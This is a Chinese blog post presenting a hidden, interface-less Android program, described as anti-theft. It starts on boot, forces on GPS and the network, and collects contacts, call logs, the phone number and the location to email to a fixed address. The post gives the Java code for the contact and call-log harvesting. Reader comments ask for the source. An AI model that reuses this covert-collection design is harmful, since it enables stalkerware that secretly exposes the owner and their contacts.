`

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)

阅读更多

首先声明者只是一个个人开发的个人使用的小程序,本意是为了防止手机被盗而写的,由于程序需要在不为人知的情况下采集信息然后发送,所以程序没有界面。整个程序的大概思路是这样的

手机开始时:

1、获取手机联系人信息、通话记录、手机号码

2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地

3、检查手机网络开关,关闭则开启

4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)

5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)

添加权限

 <uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 <uses-permission android:name="android.permission.WRITE_SETTINGS" />
 <uses-permission android:name="android.permission.READ_CONTACTS" />
 <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />

 <uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>

 

下面我们就按部就班来实现我们的想法:

1、获取联系人、电话号码、通话记录:

/**
 * 获取本机号码
 * @param context
 * @return
 */
 public static String getLocalNumber() {
  TelephonyManager mTelephonyMgr;
  mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  return mTelephonyMgr.getLine1Number();
 }

 /**
  * 获取联系人
  * @param context
  * @return
  */
 public static  String getContact(){
  ContentResolver cr = context.getContentResolver();    
  //取得电话本中开始一项的光标  
  Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);  
  String string ="";
  while (cursor.moveToNext())  
  {  
      // 取得联系人名字  
     int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);  
      String name = cursor.getString(nameFieldColumnIndex);  
      string += ("联系人:"+name+", 电话号码:");  
      // 取得联系人ID  
      String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));  
      Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,       ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " 
              + contactId, null, null);  
   
      // 取得电话号码(可能存在多个号码)  
      int i=0;
      while (phone.moveToNext())  
      {  
          String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));  
          if(i==0){
             string += (strPhoneNumber);    
          }else{
             string += ("," + strPhoneNumber);    
          }
       
          i++;
      }  
      string += "\n";  
      phone.close();  
      System.out.println("persion:"+string);
  }  
  cursor.close();
  return string;
 }

 

 

/**

*获取通话记录

*/

public static List<Call> getCallList() {
  List<Call> callList = new ArrayList<Call>();
  int type;
  Date date;
  String time = "";
  String telName = "";
  String telNo = "";

  ContentResolver cr = context.getContentResolver();
  final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
    new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
      CallLog.Calls.TYPE, CallLog.Calls.DATE,
      CallLog.Calls.DURATION }, null, null,
    CallLog.Calls.DEFAULT_SORT_ORDER);
  for (int i = 0; i < cursor.getCount(); i++) {
   Call call = new Call();
   cursor.moveToPosition(i);
   telName = cursor.getString(1);
   telNo = cursor.getString(0);
   type = cursor.getInt(2);
   SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
   date = new Date(Long.parseLong(cursor.getString(3)));
   time = sfd.format(date);
   // call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4))));
   // String callDate = getdays(Long.parseLong(cursor.getString(3)));
   if (telName != null) {
    call.setName(telName);
   } else {
    call.setName("未知联系人");
   }
   call.setNumber(telNo);
   call.setTime(time);

   if (CallLog.Calls.INCOMING_TYPE == type) {
    call.setType("接听");
   } else if (CallLog.Calls.OUTGOING_TYPE == type) {
    call.setType("拨出");
   } else if (CallLog.Calls.MISSED_TYPE == type) {
    call.setType("未接");
   }
   callList.add(call);
  }
  return callList;
 }

 private String formatDuring(long mss) {
  long hours = mss / (60 * 60);
  long minutes = (mss % (1000 * 60 * 60)) / 60;
  long seconds = (mss % (1000 * 60));
  return hours + ":" + minutes + ":" + seconds;
 }

 private String getdays(long callTime) {
  String value = "";
  long newTime = new Date().getTime();
  long duration = (newTime - callTime) / (1000 * 60);
  if (duration < 60) {
   value = duration + "分钟前";
  } else if (duration >= 60 && duration < DAY) {
   value = (duration / 60) + "小时前";
  } else if (duration >= DAY && duration < DAY * 2) {
   value = "昨天";
  } else if (duration >= DAY * 2 && duration < DAY * 3) {
   value = "前天";
  } else if (duration >= DAY * 7) {
   SimpleDateFormat sdf = new SimpleDateFormat("M月dd日");
   value = sdf.format(new Date(callTime));
  } else {
   value = (duration / DAY) + "天前";
  }
  return value;
 }

 

/**

*实体类

*/

public class Call {
 private String name;
 private String number;
 private String time;
 private String type;

}

分享到:
评论
5 楼 ygswine 2012-07-18  
最后一点是否可以在发送QQ邮箱,成功后程序关闭,在Activity的destroy方法中进行关闭网络,和GPS状态
4 楼 mvpstevenlin 2012-05-15  
博主,麻烦发一份我学习吧 1577360984@qq.com,非常谢谢!
3 楼 lyltiger 2012-03-26  
876160561@qq.com谢谢
2 楼 wushaomei1988 2012-03-22  
您好 能给我一份源码吗。 675399038@qq.com  谢谢哦
1 楼 cjb7625 2011-12-03  
android真难学,我的毕业设计就是做一个手机防盗软件,没想到居然破天荒地看到一个这样的代码,难得!!!!如果方便发我一份源码我研究下,370874319@qq.com,非常感谢!

相关推荐

Global site tag (gtag.js) - Google Analytics